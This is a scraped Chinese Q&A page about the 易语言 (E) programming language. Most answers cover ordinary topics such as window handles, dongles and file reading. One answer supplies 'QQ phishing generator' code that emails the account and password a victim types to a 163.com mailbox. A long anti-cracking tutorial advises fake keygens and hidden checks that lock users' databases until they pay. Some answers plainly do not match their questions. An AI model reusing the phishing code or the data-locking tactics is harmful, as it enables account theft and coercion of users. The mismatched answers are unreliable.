易语言

DNA图谱 / 问答 / 标签

易语言 在DLL窗口点击按钮删除EXE窗口的按钮 最好能给个例子

您的意思是移除按钮组件吗?

易语言做快捷方式集合

其实很简单的,你添加一个图形按钮,双击按钮输入代码:运行(程序全路径)例如:.版本 2.子程序 _图形按钮1_被单击运行 (“c:windowssystem32msconfig.exe”, 假, )

易语言打开指定文件,并显示软件图标?

.版本 2.支持库 iext.支持库 spec.子程序 载入账号, 逻辑型.局部变量 文件名, 文本型, , , 文件名是中文 就要用文本型.局部变量 文件号, 整数型, , , 文件号是数值 就用整数型.局部变量 文本行, 文本型, , , 文本行就是text文件每行的内容当然用文本型.局部变量 账号信息, 文本型, , "2", 账号可能是中文 也可能是英文 就用文本型.局部变量 当前行, 整数型, , , 行号当然是整数型.局部变量 i.局部变量 x.局部变量 b.局部变量 a, 文本型.局部变量 c.局部变量 e通用对话框1.类型 = 0通用对话框1.过滤器 = “文本文件(*.txt)|*.txt|所有文件(*.*)|*.*”通用对话框1.初始目录 = 取运行目录 () + “账号”.如果真 (通用对话框1.打开 () = 假) 返回 (假).如果真结束超级列表框2.全部删除 () " 清空超级列表框 不想清空就删除这句文件名 = 通用对话框1.文件名b = 倒找文本 (文件名, “”, , 假)a = 文件名c = 取文本长度 (a).判断循环首 (b ≠ -1) b = 倒找文本 (a, “”, , 假) c = 取文本长度 (a) a = 取文本右边 (a, c - b) 调试输出 (a).判断循环尾 ()b = 倒找文本 (a, “.”, , 假)a = 取文本左边 (a, b - 1)调试输出 (a)写配置项 (取运行目录 () + “配置文件.ini”, “上次账号”, “1”, a)文件号 = 打开文件 (文件名, #读入, ) " 读取账号密码信息.循环判断首 () 文本行 = 读入一行 (文件号) 文本行 = 子文本替换 (文本行, “,”, “,”, , , 真) 文本行 = 子文本替换 (文本行, “=”, “,”, , , 真) 文本行 = 子文本替换 (文本行, “*”, “,”, , , 真) 文本行 = 子文本替换 (文本行, “ ”, “”, , , 真) 账号信息 = 分割文本 (文本行, “,”, ) " 账号TEXT格式为 账号+4个空格 如( 1 2) x = 取数组成员数 (账号信息) .如果真 (文本行 ≠ “” 且 x = 2) .如果真 (取数组成员数 (账号信息) ≠ 2) 信息框 (“账号密码请用英文逗号隔开”, 0, “账号密码格式错误”) 返回 (假) .如果真结束 i = i + 1 当前行 = 超级列表框2.插入表项 (, 到文本 (i), , , , ) 超级列表框2.置标题 (i - 1, 0, 删首尾空 (账号信息 [1])) " 0代表超级列表框1第一列, 1超级列表框1代表第1行第1列 注意 易语言默认第1列是0 超级列表框2.置标题 (i - 1, 1, 删首尾空 (账号信息 [2])) " 1代超级列表框1表第2列 2代表超级列表框1第第1行2列 注意 易语言默认第1列是0 .如果真结束.循环判断尾 (是否在文件尾 (文件号, ) = 假)关闭文件 (文件号)返回 (真)

易语言如何自动寻找其他程序路径并加入到软件里打开?

窗口创建完毕事件,启动线程进行全盘搜索(全盘搜索模块)。设置好搜索目标(文件名,文件大小,字节集对比等) 然后条件达成的就添加到超级列表框中,顺便把文件路径也添加到超级列表框其他列,这样就方便运行路径了,我差不多要一下午能完成的小程序,加qq578296660

vmp加壳这个怎么用呢。我是给易语言编译的EXE加壳。该怎么家 。有看到VMP模块。。不知道怎么用能详细解答

去看雪论坛问,为什么加密不硬件狗加密那,稳定

找不到字符串的易语言该怎么去破解

这个得去学破解推荐吾爱破解,看雪论坛,这些著名的破解社区字符串非明文状态,可能是因为程序有加壳什么的当然,一般我写程序时,对于重要的字符串会给予加密,来增加破解难度~~

易语言中的“取窗口句柄”是什么意思?句柄是什么含义?

例如操作一个窗口,或说是一个Delphi窗体时,系统会给一个该窗口的句柄,系统会通知:正在操作142号窗口,就此应用程序就能要求系统对142号窗口进行操作——移动窗口、改变窗口大小、把窗口最小化等等。在Windows中,句柄为一个系统内部数据结构的引用。通过它能引用受系统控制的特殊元素,如窗口、位图、图标、内存块、光标、字体、菜单等。扩展资料数据对象加载进入内存中之后即获得了地址,但是这个地址并不是固定的,数据对象会根据需要在内存与硬盘之间游弋移动(例如不常用的数据会为常用数据让出其占用的内存空间,进而被淘汰进硬盘虚拟内存之中以优化配置整体系统的资源,从而提升效率性能)。因此其物理地址总是变动的,那么作为管理者则必须对管理对象所发生的变化了如指掌才行,因此系统为进程分配固定的地址(句柄)来存储进程下的数据对象变化后的地址,也就是当前的地址。设计机制:系统的某个部门移动了对象的地址后,同时上报给句柄所属部门管理者,管理者将改动写入句柄即可。该数据被重新起用时去其所属句柄内按内容存取即可。参考资料来源:百度百科-句柄参考资料来源:百度百科-窗口句柄

易语言窗口句柄是什么

不会就学。天才都是后天培养的。其实C语言并不很难。我推荐你去www.zixue7.com看C语言的视频教程。我也推荐一本C语言书籍电子版,下载地址http://yunpan.cn/cJLSaaLny5Yzu(提取码:05ea)

易语言怎么添加谷歌广告和广告联盟广告

把这段代码放到网站里然后在易语言里添加一个超文本浏览框,再把地址改成广告地址就OK了

QQ钓鱼生成器源码(易语言的)!

连接发信服务器 (“smtp.163.com”, , “13902286203@163.com”, “163邮箱密码”, )发送邮件 (“钓鱼”, “帐号:”+编辑框1.内容+#换行符+“密码:”+编辑框2.内容, 13902286203@163.com”, , , “13902286203@163.com”, )

易语言源码是什么?

源码就是一个程序在编写时候的代码文件,易语言的源码是.e拓展名的文件,通过易语言可以打开源码文件来修改和重新编译可执行文件

易语言加密狗是什么意思

加密狗是一种用于软件加密的小型外部硬件设备,现在有两种类型的并口和usb接口。加密狗广泛应用于各种软件中。加密狗是加密锁的另一个名称。目前,新的狗(加密锁)还包含一个单片机,软件开发人员通过接口函数和加密锁交换数据(即读取和写入加密锁),以检查加密锁是否插入接口,或者使用附加在加密锁上的工具直接加密他的exe文件(通常称为“信封”)。这样,软件开发人员可以在软件中设置多个软件锁,并以加密锁为密钥打开这些锁。如果加密锁没有插入或与加密锁不对应,软件将无法正常执行。扩展资料:工作原理加密锁是在软件运行过程中,通过与加密锁交换数据来实现加密的。加密锁内置单片机电路,使加密锁具有判断和分析的处理能力,提高了主动防解密能力,这种加密产品称之为“智能”加密锁。加密锁的嵌入式单片机包含加密算法软件,软件写入单片机后,不能再读出。这样就无法复制加密锁硬件,同时加密算法具有不可预测性和不可逆性。加密算法可以将数字或字符转换为整数,例如dogconvert(1)=17345,dogconvert(a)=43565。所以可以重写原始程序如下:a=fx(dogconvert(1)-17342),那么常量3将不会出现在原始程序中,而是使用dogconvert(1)-17342。这样,只有软件编写器知道实际的调用常量是3,如果没有加密锁,则dogConvert函数无法返回正确的结果,结果公式a=fx(dogConvert(1)-17342)肯定不正确。这种加密方法,使盗版用户得不到软件的使用价值,比警告和制止非法使用的加密方法更温和、更隐蔽、更难破译。参考资料来源:百度百科-计算机加密锁

易语言加密狗是什么意思

硬件加密锁,俗程加密狗。加密狗一般都有几十或几百字节的非易失性存储空间可供读写,现较新的狗(加密锁)内部还包含了单片机。软件开发者可以通过接口函数和加密锁进行数据交换(即对加密锁进行读写),来检查加密锁是否插在接口上。加密狗的应用程序接口(API)基本上都是公开的。随着解密技术的发展,单片机加密狗由于其算法简单,存储空间小,容易被硬件复制等原因,正逐渐被市场所淘汰。“代码移植”加密原理为一种全新的、可信的软件保护模型,工作原理为:软件中部分代码经过编译,“移植”到加密锁硬件内部,软件中没有该段代码的副本。扩展资料加密狗的原理在通讯中同时采用128位AES算法及160位ECC算法作为通讯加密手段,每一次数据传输都用128位随机密钥AES算法对其加密,而这个随机的密钥又用160位ECC算法加密,在随后传输。由于ECC是非对称算法,加密和解密的密钥并不相同,如果其中一组密钥可以用黑客手段从内存中获得,那么另外一组烧录在硬件狗中的密钥,黑客无法获得。无法获得两对ECC密钥,也就无法破解ECC加密的数据,从而无法获得AES密钥,也就无法破解整个通讯过程。这一双算法安全通道技术彻底解决了通讯监听破解的难题,传统的对称算法加密,黑客只要从内存中获得其加密密钥,就可以破解整个通讯过程。参考资料来源:百度百科—计算机加密锁

求易语言源码,在saucenao.com上传图片并接收响应

大概看了下,感觉是用JS上传的,不是纯PHP上传,没去细了解给不了思路,建议还是先从简单的入手测试,就是先从一些教程中提到的网址去做,能做好那个了再一步步来检查这个

易语言怎么连接达梦数据库

1、首先打开Microsoft Office Access 基本数据库,新建一个新的数据库。2、其次在软件界面右边,选择“空数据库”,填写数据库名字,并保存。3、最后添加外部连接,进行连接即可。

易语言 想做个游戏多开器 现已经找到游戏的防多开互斥体 怎么用易程序关了它

互斥体是有个跨进程的 许可其他程序启动的时候,回去判断能否获取到那个名字的许可多开不是只过掉这个互斥体就可以搞定的,所以建议不考虑如果你懂windbug就宁当别论了

易语言 JSON取值?

易语言有json解析模块的吧,你可以试一试

易语言为什么发不到邮箱?

源码没错的话,就是你邮箱没设置允许软件登陆邮箱发邮件,你登陆你的邮箱设置下。或者用写胶囊日记的方法,就是对象的方法把密码账号以胶囊日记的方式记录。因为现在很多杀毒软件都会破获你盗号的邮箱密码。

易语言做的软件输入的密码怎样才能不被星号密码查看器看到?

需要一个编辑框1 代码如下 .版本 2.程序集 窗口程序集1.程序集变量 输入键码, 整数型.程序集变量 选择长度, 整数型.程序集变量 密码, 文本型.子程序 _编辑框1_内容被改变.判断开始 (输入键码 = 8 或 输入键码 = 46) .如果 (选择长度 = 0) 密码 = 取文本左边 (密码, 编辑框1.起始选择位置) + 取文本中间 (密码, 编辑框1.起始选择位置 + 2, 编辑框1.起始选择位置) .否则 密码 = 取文本左边 (密码, 编辑框1.起始选择位置) + 取文本中间 (密码, 编辑框1.起始选择位置 + 1 + 选择长度, 编辑框1.起始选择位置) .如果结束.默认 密码 = 取文本左边 (密码, 编辑框1.起始选择位置 - 1) + 字符 (输入键码) + 取文本中间 (密码, 编辑框1.起始选择位置 + 选择长度, 编辑框1.起始选择位置).判断结束标签2.标题 = “密码:” + 密码.子程序 _编辑框1_按下某键, 逻辑型.参数 键代码, 整数型.参数 功能键状态, 整数型输入键码 = 键代码选择长度 = 取文本长度 (编辑框1.被选择文本).子程序 _编辑框1_字符输入, 整数型.参数 字符代码, 整数型输入键码 = 字符代码选择长度 = 取文本长度 (编辑框1.被选择文本).判断开始 (字符代码 = 8).判断 (字符代码 = 13) 字符代码 = 0.默认 字符代码 = 42.判断结束返回 (字符代码)

求关于易语言ACCESS数据库与高级表格的详细教程源码(用的是数据库连接与记录集)高分悬赏!!

源码发了,忘记注释了。等下再发一个。

易语言 里面创建对象的问题!

oExcel.创建 (“Excel.Application”, ) 创建一个应用对象 oBook.创建 (“Excel.Workbook”, ) 创建一个Excel工作簿 oExcel.写属性 (“Visible”, 真) 是否可见为真 oBook = oExcel.读对象型属性 (“Workbooks”, ).对象型方法 (“Open”, xls, , , , Password) 打开文一个加密Excel工作簿

易语言怎么开发像我的世界路由侠这样的软件?

全球导航定位系统,目前应用非常广泛,主要是完成空间点位的确定、导航、变形全球卫星定位系统GPS是今年以来开发的最具有开创意义的高新技术之一,其全球性,

易语言蹦蹦网取开奖结果

请给个具体的网页地址。

易语言写通讯软件,遇到粘包麻烦,希望高手相助!

试试客户的端口改成19800还是19300忘记了下次我用电脑上给你参考我的

易语言破解版是什么意思

易语言正式版(完整可编译)是一款免费中文化编程平台,不需使用破解补丁,安装完成后就是企业版注册授权;为节省安装文件体积,已精简掉知识库和多媒体教程。 易语言完美破解版修正静态编译问题。软件说明语言是一个自主开发,适合国情,不同层次不同专业的人员易学易用的汉语编程语言。易语言降低了广大电脑用户编程的门槛,尤其是根本不懂英文或者英文了解很少的用户,可以通过使用本语言极其快速地进入Windows程序编写的大门。易语言汉语编程环境是一个支持基于汉语字、词编程的、全可视化的、跨主流操作系统平台的编程工具环境;拥有简、繁汉语以及英语、日语等多语种版本;能与常用的编程语言互相调用;具有充分利用API,COM、DLL、OCX组件,各种主流数据库,各种实用程序等多种资源的接口和支撑工具。更新日志1. 静态编译方面的改进和优化。2. 符号重命名程序(resym.exe)增加对.obj文件的支持,并更新了文档(sdkstatic_docs)。3. 编译生成安装软件时已支持打包静态编译后的程序,但需事先静态编译出该程序。4. 易语言升级加密狗驱动程序,增加了对 Windows 7, Vista 等操作系统的支持。5. 操作系统界面功能支持库(shell.fne)中的“执行()”命令增加一个参数“窗口显示方式”,作用与核心库“运行()”命令的同名参数一致。6. 数据库操作支持库增加读写长整数字段的功能,但受限于系统接口暂不能读写超出整数范围的数值。7. 修改高级表格支持库,通过鼠标调整行高列宽时不改变当前光标行列号。

易语言反破解教程说信息框用自定义窗口就是自己新建窗口,请问新建窗口怎么做到程序等待或者系统等待效果

4.随机验证 随机验证很重要,例如你的一处验证是一直存在的,奸人就很容易地下断点跟踪了。因此在软件启动时进行一次正常验证外,其他情况下的验证最好是随机的,用30分之一或50分之一的机会进行验证,这样奸人会不停地试你的软件在哪一处进行了验证,因此破解的时间会相当地长。 加密第14定理:足够多的随机验证足以让破解者累死。 随机验证包括随机进入不同的验证子程序。 或随机中的最大数大一些,只有30分之一的机会验证。 或在窗口中放上一些颜色与底图一样的图片框,这样奸人不一定会点击这里,但用户万一点中了,就会触发验证。 我们假设所有软件都能被破解,包括易语言在内,那么如果他破解的速度跟不上你发布新软件的速度,那么他永远在破最新版而累死。或者说他破解的时间比你写一个软件的代价大,这时还不如他直接写这个软件来得合算。 反破解的任务之一就是让奸人累死,或浪费他的生命。 下面的办法也可以使用:你可以在读到待验证的注册码、公钥、注册文件后,通过定义10000个数组,存入上述同样的内容以备以后进行验证,这最多浪费一些内存。验证时随机使用其中的一个进行验证,由于奸人不知你用的是数组中的哪一个进行的比对,而且是随机的,每次验证的值都不一样,不让奸人吐血才怪呢。 计次循环首(10000,计次) 数组[计次] = “123456” " 复制一万个公开注册码或公钥,破解者知道也无所谓。 计次循环尾 数组[取随机数(1,10000)] 你不要立刻检查注册码,10000份拷贝你只要以后随机找一份用就行了,破解的人不知道你正在用的是那一个,同时你可以事先编好且运行时不断使用一些假的读取注册码数组的调用干扰破解者。这种方法对程序的性能影响微不足到,只是浪费一点内存。因为Debug对内存下断点的局限,这种情况他要下断点,累死的就是破解的人了。 5.不同权限验证 在启动时进行一次验证是非常必要的,这样让奸人知道确实是验证了,以让他心理放松警惕,而这次的验证只是一部分验证,并没有完全验证。 还有的建议在启动时将注册信息读入后不要进行验证,保不定在哪里进行验证,个人认为这样让破解者提高了警惕性,会认为软件作者很有经验。麻痹敌人也很重要呀。 例如,在启动时验证通过一次,验证级别加强一级,然后再在其他的地方再进行验证就可以了。 下面代码是确认了一个级别 计次循环首(到数值(验证1),) 已注册 = 1 计次循环尾() …… …… 在另一个触发子程序中再通过这个级别再验证: 计次循环首(已注册) 计次循环首(到数值(验证2),) 已注册 = 2 跳出循环() 计次循环尾() 跳出循环() 计次循环尾() 在其他触发子程序中再通过这个级别再验证: 计次循环首(已注册) 计次循环首(到数值(验证3),) 已注册 =3 跳出循环() 计次循环尾() 跳出循环() 计次循环尾() 有时也可以将级别降一降,怎么降,当然是不考虑级别直接验证了: 6.忽悠型的GHOFFICE过滤词语验证代码 前面已讲过花指令的原理,在程序中人为地再放一些GHOFFICE过滤词语代码以忽悠奸人也是一个好办法。GHOFFICE过滤词语代码就是一些假的验证代码,基本上是明文的,这样的代码上百上千,足以让奸人累死。 其实对付那些“根据跳转指令的爆破”高手来说,一个办法就够他们头疼的了,就是你在程序中不明显加入与判断是否正版有关的语句,也不做任何提示,以免让他们顺藤摸瓜,而是在判断为盗版后,跳转到另一个看似很合理的分支,而那个分支和正版的分支代码差不多,只是在计算公式或其它算法上稍动一下,使其运算结果不正确,这样,他们就在机器码级别上就分不清哪个是对的,哪个是错的了,即使他们认为破解成功,其实运行时,得的结果错误百出,他们就没兴趣了,呵呵,算损的吧!!! 加密第15定理:大量添加GHOFFICE过滤词语代码虽然是无奈之举,但很管用。 作业1:制作一个常量****器 要求:制作一个常量代码自动生成器。可随机生成成百上千个易语言源代码形式,可直接拷贝到易语言中成为常量。变量也可以这样制作。 写好这样一个程序后,就可以自动生成GHOFFICE过滤词语代码,然后复制,粘贴到易语言的常量表中即可。如下图所示: 变量也可以这样生成,不过生成的变量可以任意拷贝为全局变量,或程序集变量,或局部变量。制作时的名称可以为中文名称,直接编译后不会在EXE文件中找到同名的中文名称。因此您可以放心地将这些名称定义为:“GHOFFICE过滤词语常量1”、“GHOFFICE过滤词语变量1”等等以示与正常代码进行区别。 作业2:制作一个代码迷乱器 本次作业性质同上,也是自动生成易语言的一些无用GHOFFICE过滤词语代码,以迷乱奸人的破解,让他找到的全是GHOFFICE过滤词语代码,从而大大延长了破解时间。 通过直接拷贝编辑框中的内容,粘贴到您的代码中,可自动完成任务,如下图所示: 上图所生成的是一些明文的加密方法的GHOFFICE过滤词语代码,让奸人去研究这些GHOFFICE过滤词语吧。 上述子程序名称最好也有时调用一下,反正不会真正产生作用的,用多线程调用最好。 或者您平时注意多收集一些别人用于加密时的子程序,拷贝到一个易语言程序中,保存,这样的代码作为GHOFFICE过滤词语代码放在你有用的程序中,虽然增加了一些程序的体积,但安全性是大大提高了。并且基本上没有牺牲软件性能与稳定性。 7.伪验证技术 还是先举一个例子说明吧,易表软件在10.0版本前已发现有大量的注册机存在,于是易表作者其后改变了加密方式,易表10.0推出后还是出现了注册机,并且这种注册机注册过的软件可以使用。于是有些用户用注册机取得的注册码使用了,过了一段时间,当盗版用户将重要数据存入易表后,突然有一天数据库被锁定了,于是只好注册易表,并且让易表作者为数据库解锁。 从这里可以基本上判定易表新版本采用了伪验证技术,即在较为明显的地方提供了一级验证,这种验证方式没有经过太强的加密,而二级验证在一定的条件下才触发,而这个条件是检查到了用户输入了重要的数据,或大量的数据,或使用次数较多。 基本原理是注册文件由前后两个注册码拼接而成。一般情况下只进行第一个注册码的验证,而当条件成熟时进行第二个注册码验证。 这是一种双赢的策略,易表作者即收到了注册费,付费的人还会道歉,并且感谢易表作者。哈哈,大家要学习这招哦。 但本办法对于数据库应用及数据量大时检查最好,而对于一些没有生成数据的用户无效。 发布软件的时候发布自己编写的注册机,弄个假破解版,那么想破解的就可能不来了,即使有真的破解,谁会有自己给自己写假破解快啊!可能假破解版中只破解一半,等用户使用了,有数据了再锁定,让他们注册后再给解锁,付了钱还要谢谢你,哈哈,损招,但有用! 加密第16定理:伪验证可以迷惑一般破解者,甚至自己发布一个伪注册机。 8.定时验证、延时验证、客户数据集累验证 过一段时间后再验证,如你在2005年1月发布一个软件,那么就内定2005年6月后触发验证机会。 或您的软件是一个数据库产品,那么您可以在程序中设置如果数据库大于5MB时就进行验证,并且最好您能确定这些数据是不重复的,刻意加入的。 如易表设置了伪验证,这时市场上出现了新的注册机,当用户用这个注册机后,提示是注册成功了,但当用户输入重要数据后的某个日子,突然打不开数据库了,用户很着急,因为以为是破解成功了,所以将重要的资料输入了,只能拿钱向易表作者进行注册了。而且还千恩万谢,后悔自己不该用破解。哈哈,一举两得呀。 这个方法对于数据库应用软件来说是绝好的办法。 作业:制作一个算法程序放在你的数据库软件中,这个子程序可以统计你的数据库软件使用时,用户输入的是否是拷贝的东西,还是正常的数据。当统计到1000时触发验证。方法思路为:可以通过查看用户有没有使用复制与粘贴快捷键,或资料进行排序,如果有大量重复的,就说明是奸人在拷贝数据破解,否则是一个资料一个资料的输入的,说明是正常使用的重要资料,这时进行对比就好了。 本方法对有资料的破解使用者有极好的控制作用,通过第6条的伪验证技术与本技术结合,那么就可以知道是不是正版用户,并且可以锁定数据库,等他注册后再给他解锁。 加密第17定理:加密的结果应该是双赢,伪验证是一个上策。 9.验证与专业知识相结合技术 将验证与专业知识相结合,让奸人必须学习专业知识后才能真正去破解,这样所花的功夫比自己写一个软件的代价还要大,而有的专业知识不是专家是不知道的,因此是一个较好的加密方法。 前述中采用了“到数值(验证1())”这样的代码返回的是0或1两者之间的一个数,可以用乘法进行混合计算,如: 音量 = 播放位置X到数值(验证1()) 当验证正确时返回的是1,这时的结果是正确的,否则返回0,这时的结果为0,是错误的。 这样的代码可以混合到您的专业知识中,如:算命软件可将天干地支、生辰八字中的某个地方进行此类计算,计算类软件可以将某种特殊的计算过程如此结合计算,绘图类软件可将绘图中的算法部分加入此类计算,音响设计类、机床设计软件…… 加密第18定理:你知道的专业知识,破解者不一定了解哦。让专业知识与验证相结合吧。 10.伪装,用易语言写自有支持库 大家可以将DLL文件的扩展名改为易语言的支持库文件FNE扩展名,这样进行非独立编译后,与其他FNE文件混合在一起,甚至您可以用易语言写一个支持库,将其中一部分作为验证部分。 易语言的支持库文件FNE文件其实就是一个DLL文件,只不过扩展名改变了而已,用易语言写支持库的方法金眼睛已发过一篇贴子,进行过说明,请大家在易语言论坛上搜索金眼睛的贴子就可以找到了。 作业:找到金眼睛关于用易语言写支持库的贴子,并且自己写一个支持库。 11.绝妙的暗桩设置 应该想到的用代码实现的暗桩前面都讲了不少,下面是一些特别的暗桩供奸人品味的。 大家可以在一些不起眼的地方再放一些暗桩,如:在窗口最小化事件中随机验证,如在某个组件鼠标被移动事件中验证, 有时需要将数据完整性验证放在更高一级的验证中,不要一上来就检查文件是否被更改。 同一验证可以使用多次,这样奸人认为你已经验证过了,没有必要会再验证一次,而相反这时又产生了验证,让奸人防不胜防。如启动时就立即检查程序完整性,如果发现被更改,那就立即退出程序,而在一些子程序中也随机放这样的验证。 更多的暗桩大家自己设计最好。 加密第19定理:加密重要的是暗桩的设置,破解不完全就是一个无效破解。 12.发布不完整版本 有的软件作者在发布共享软件时,放在外面的是不完整版本,将更多的数据资料在注册后提供。这样做也可以,只是麻烦一些而已。如有的图形制作软件,将图片资源另外打包,用户注册后再给完全版的图片。 也有的将DLL文件中的验证部分作了空处理,而在注册后提供真正的注册DLL文件及注册码。还有的直接将KEY文件放在了DLL文件中另外提供。 加密第20定理:不要发布完整版本,以静制动。 13.程序、数据结合加密技术 把程序运行所必需要的资源放到一个数据库文件中,给这个数据库设密码,密码是主程序的数据摘要变换后的结果。程序运行是先验证有没有注册,如果已经注册,就对运行程序本身(取执行文件名())取数据摘要,用自己设计的算法多次变换后形成一个字串,用该字串作为数据库的密码打开数据库文件。如果打开数据库失败,就说明主程序被人修改了,终止程序运行即可。(不终止也没戏,程序找不到运行所需的资源。) 另外设计一个程序,用同样的算法算出数据库密码,然后给数据库加密即可。 密码形成算法建议使用大数支持库。但如果是汇编高手用汇编写注册机的话,会直接将支持库的所有反汇编码抄进去就可以了,问题是他们有没有时间搞。 14.自定义算法 前面讲过采用RSA与数值计算支持库交叉计算的办法,这就是一种自有的算法,如果能用上数值计算支持库中的矩阵、傅丽叶变换等高级功能就更好了。 多重RSA交叉打乱:大家也可以多用一些RSA密钥,如用5个,10个都无所谓,重要的是将这些注册码都打乱,让奸人哭死。打乱的方法就是你自己独创的方法了。 更多的自有算法就要靠大家自己去研究了。祝大家好运。 加密第21定理:加密不反对古怪和变态的方法,鼓励哦。 15.加密框图 下面给出一个加密的设计框图,大家可以根据自己的实际情况改变加密的策略: 图中主程序外围进行了花指令编译,并且用加普通壳进行保护。脱壳了也无所谓,因为设置了暗桩,随机检查。 图中表示主程序运行后,首先进行了常规的注册码第一次验证,找有没有注册文件。如果这个被破解,注册码应该是一个短的RSA,而真正的注册码是三个RSA的叠加。会生成伪注册机也无所谓。 主程序中用暗桩的形式对窗口标题、版权信息进行验证,这是考虑到如果一启动就验证这些很容易被奸人看出来从而会跳过去。因此用一些随机,或分级,或条件法取得不固定的验证。 主程序中用暗桩的方式对加壳后主程序的完整性进行校验,这个也不要放在常规的验证中,否则很容易被跳过去。可以查文件长度,MD5或CRC32都可以上。 主程序中用暗桩的方式加入了反调试模块。 主程序中布满GHOFFICE过滤词语验证代码。并且源代码有备注,不会搞错的。 主程序在某个条件下随机进行第二级验证,从注册码中取第二段数据,如果注册码长度不够且取不到第二段数据,那么就说明已使用了伪注册机,将用户的数据库锁定,等他付钱来注册。 主程序在一个条件下再激活验证,从注册码文件中取第三段数据,如果注册码长度不够,且取不到第三段数据,那么就说明已使用了伪注册机,将用户的数据库锁定,等他付钱来注册。 编程中还注意将加密的字符串搅乱且分不同地方存放,用吴氏加密命令加密重要数据,也可加入数值计算支持库的算法,也可以加入一些惩罚手段,也可以再加入自己的一些算法。 以下是一些人的编程体会摘录,基本未改其中的内容,在此表示感谢! 附录1加密已形成密码学 我引用《应用密码学》作者的话: 世界上有两种密码:一种是防止你的小妹妹看你的文件;另一种是防止奸人阅读你的文件资料。 如果把一封信锁在保险柜中,把保险柜藏在纽约的某个地方…,然后告诉你去看这封信。这并不是安全,而是隐藏。相反,如果把一封信锁在保险柜中,然后把保险柜及其设计规范和许多同样的保险柜给你,以便你和世界上最好的开保险柜的专家能够研究锁的装置。而你还是无法打开保险柜去读这封信,这样才是安全的。 意思是说,一个密码系统的安全性只在于密钥的保密性,而不在算法的保密性。 对纯数据的加密的确是这样。对于你不愿意让他看到这些数据(数据的明文)的人,用可靠的加密算法,只要破解者不知道被加密数据的密码,他就不可解读这些数据。 但是,软件的加密不同于数据的加密,它只能是“隐藏”。不管你愿意不愿意让他(合法用户,或 Cracker)看见这些数据(软件的明文),软件最终总要在机器上运行,对机器,它就必须是明文。既然机器可以“看见”这些明文,那么 Cracker,通过一些技术,也可以看到这些明文。 于是,从理论上,任何软件加密技术都可以破解。只是破解的难度不同而已。有的要让最高明的 Cracker 忙上几个月,有的可能不费吹灰之力,就被破解了。 所以,反盗版的任务(技术上的反盗版,而非行政上的反盗版)就是增加 Cracker 的破解难度。让他们花费在破解软件上的成本,比他破解这个软件的获利还要高。这样 Cracker 的破解变得毫无意义——谁会花比正版软件更多的钱去买盗版软件 ? 然而,要做到“难破解”,何尝容易? Sony 曾宣称的超强反盗版(Key 2 Audio音乐 CD反盗版),使用了很尖端的技术,然而最近却被一枝记号笔破解了,成为人们的饭后笑料! 所以,很多看上去很好的技术,可能在 Cracker 面前的确不堪一击。就像马其诺防线一样,Cracker 不从你的防线入手,而是“绕道”。这样,让你的反盗版技术在你做梦也想不到的地方被 Crack 了。 为什么会这样呢 ?归根到底是因为软件在机器上运行,并且软件和机器是分离的——这一点是关键,如果软件和硬件完全绑定,不能分离,是可以做到象 IDEA 之类几乎不可破解的系统的。这将在后面谈传统软件保护技术时详细说明。 对我的这个解决方案,我不能保证Crack高手在几天之内不能破解它,我只能说:“在这个软件中,我尽量堵住了当前破解者普遍使用的方法以及“我想得到”的可能的缺口。”但是我相信,倾注了我三个月心血的反盗版软件,决不是一个“玩具式”的反盗版软件。 附录2《如何用简单方法防止破解》 北极异型 在Debug的手册里可以看到Debug工具的局限:第一个局限是只能下4个内存区域的断点,每个断点不能控制超过两个字节,这样内存断点不能控制超过16个字节的区域;第二个局限是对多线程只能同时跟踪一个线程。 假设你的注册部分有300行,你可以分成30个子程序调用或重复的func1(),func2()... func30()。将他们随意放到程序的各个部分,一定不能放在一起(自己能找到就行了)。不要用Memcpy等常用系统调用拷贝注册码,尽可能自己写,像Memcpy很好写,性能差点无所谓。经过编译后inline函数展开,注册部分和其他代码混在一起,他要写出注册机就像大海里捞针,在几十万甚至上百万汇编代码里找出有用的注册部分。 利用Debug的第一个局限最重要的一点是:注册码也不要放在一起,假设你的注册码是12位,千万不要用一个12位的数组放注册码,你可以在程序的不同位置定义12个全局字符变量,每个放一位,这样注册码在内存就不连续了。最好再加密处理一下(简单的字符异或就可以),验证时再解密。也不要用连续内存保存验证用到的变量,尽量将用到的验证临时变量分散定义在程序的不同处,再在验证中,不断转移一些值到其他变量中,对付暴力和Loader会比较有效。 没有必要用复杂的加密算法,更容易成为追踪的目标。只要你将注册部分隐藏的足够好,也没有漏洞,你花1天写的加密算法,破解者可能会花100-1000倍的时间破解。大部分人都会放弃。 你将注册做在一起,就像将你的财宝放在现代保险箱里,虽然非常坚固难以解密,对于开锁高手两分钟就打开了。 而古代海盗用的方法是将财宝埋在海岛上,这样没有藏宝图,对所有高手和低手都只有一条路,拿一把铁撬挖,可能要挖一生。程序有那么多代码,反编译出来可能超过百万行,你将注册部分藏在里面,藏的好就如同将财宝埋在海岛里。那些所谓的Crackme只是给高手玩儿的现代保险箱而已,用原始的方法可以达到同样效果。

上海有哪些编程公司,易语言的公司

上海易语言培训,专业易语言编程培训班市场前景:1、易语言是中国自主研发、具有民族特色的一种计算机汉语编程语言。它摆脱了长期以来“中国人只能先学英语再学编程”的现状,实现了“汉语思考、汉字书写”计算机程序的全过程。众所周知计算机本身只识别1、0的二进制代码,故编程并不是非要建立在英语之上。易语言拥有自己独立的高质量编译器,能将中文源代码直接编译为目的机器的CPU指令,而且编译出来的可执行代码与操作系统无关,因此能够方便地实现跨平台编程。目前易语言可同时支持Window和Linux平台下的程序开发,今后移植到其它操作系统平台也非常方便,这也符合国家发展开发自主知识产权基础系统软件的战略部署。2、易语言支持当今先进的编程理念,譬如面向对象的程序编写方法、面向事件的消息处理机制等等。在可视化设计操作方面相对于其他编程语言来说优势十分明显,易语言不仅支持程序窗体界面设计的可视化操作,连代码流程图都完整的嵌入到程序代码设计操作之中,这是其它编程软件不具备的功能。同时,易语言内置了专用中文输入法,支持语句的快速录入,彻底突破了中文语句输入速度的瓶颈。3、国际接轨方面:易语言能够充分利用现有的一切编程资源,并能与其它流行的开发平台相互调用。如:提供了对OCX控件、Windows类型库、DLL动态链接库、API函数、COM协议等等一系列接口的全面支持,甚至是Java类库。不仅如此易语言自身现有的各种支持库,如:端口操作、多线程、TCP/IP、OpenGL、DirectX、SQL 